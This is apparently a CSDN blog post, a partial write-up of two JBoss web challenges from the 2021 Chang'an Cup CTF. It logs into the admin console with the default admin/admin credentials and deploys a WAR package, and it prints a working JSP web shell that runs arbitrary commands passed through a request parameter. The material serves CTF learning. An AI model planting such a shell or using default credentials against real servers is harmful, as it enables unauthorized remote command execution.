2021长安杯WEB题部分WP

最新推荐文章于 2024-10-11 00:08:13 发布

入山梵行

最新推荐文章于 2024-10-11 00:08:13 发布

阅读量897

点赞数

分类专栏： CTF 复现文章标签： java web安全安全安全架构

本文链接：https://blog.csdn.net/Mrs_H/article/details/120488570

版权

CTF 同时被 2 个专栏收录

31 篇文章 1 订阅

订阅专栏

复现

31 篇文章 4 订阅

订阅专栏

这篇博客分享了作者在2021长安杯比赛中遇到的两道JBOSS相关题目，尽管题目描述不同，但解决方法相同，都是通过利用弱口令进入后台，然后上传包含RCE漏洞的WAR包来实现。作者提供了一个生成WAR包的脚本，并详细描述了上传和执行命令的过程，最终成功获取flag。可能由于出题方的失误导致两题解题方式一致。

摘要由CSDN通过智能技术生成

2021长安杯WEB题部分WP

1.前言

怎么说呢，这次的长安杯比赛的题目有些奇怪。当然这里指我怎么也看不懂的WEB第一题《soeasy》，还有我做的这两道JBOSS的题目。当我做出第一道JBOSS之后，我发现他只是一道很简单的RCE，但是不久平台又放出了第二道JBOSS题目。额。。。怎么说呢？虽然他的题目描述上有JBOSS很不甘心的字眼，但这两道题明明是同一个解题方式呀。

2.正文

在这里插入图片描述

题目的话就是上面的这两道，题目在这里就一起说了，因为解法都是一样的（X。
首先拿到题目，一个JBOSS的管理界面。

在这里插入图片描述
然后进入管理员控制台登陆界面。

这里的话就是一个弱口令，admin，admin没有什么好说的。直接就进到了后台管理界面。

在后台的管理界面看到了上传WAR包的地方，那么很明显这道题考察的就是Jboss 5.x/6.x admin-Console后台部署war包相关的知识。
那么先拿一个脚本生成WAR包。下面这个脚本来源于这位大佬

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;          
        byte[] b = new byte[1024];          
        out.print("<pre>");          
        while((a=in.read(b))!=-1){
            out.println(new String(b));          
        }
        out.print("</pre>");
    } 
%>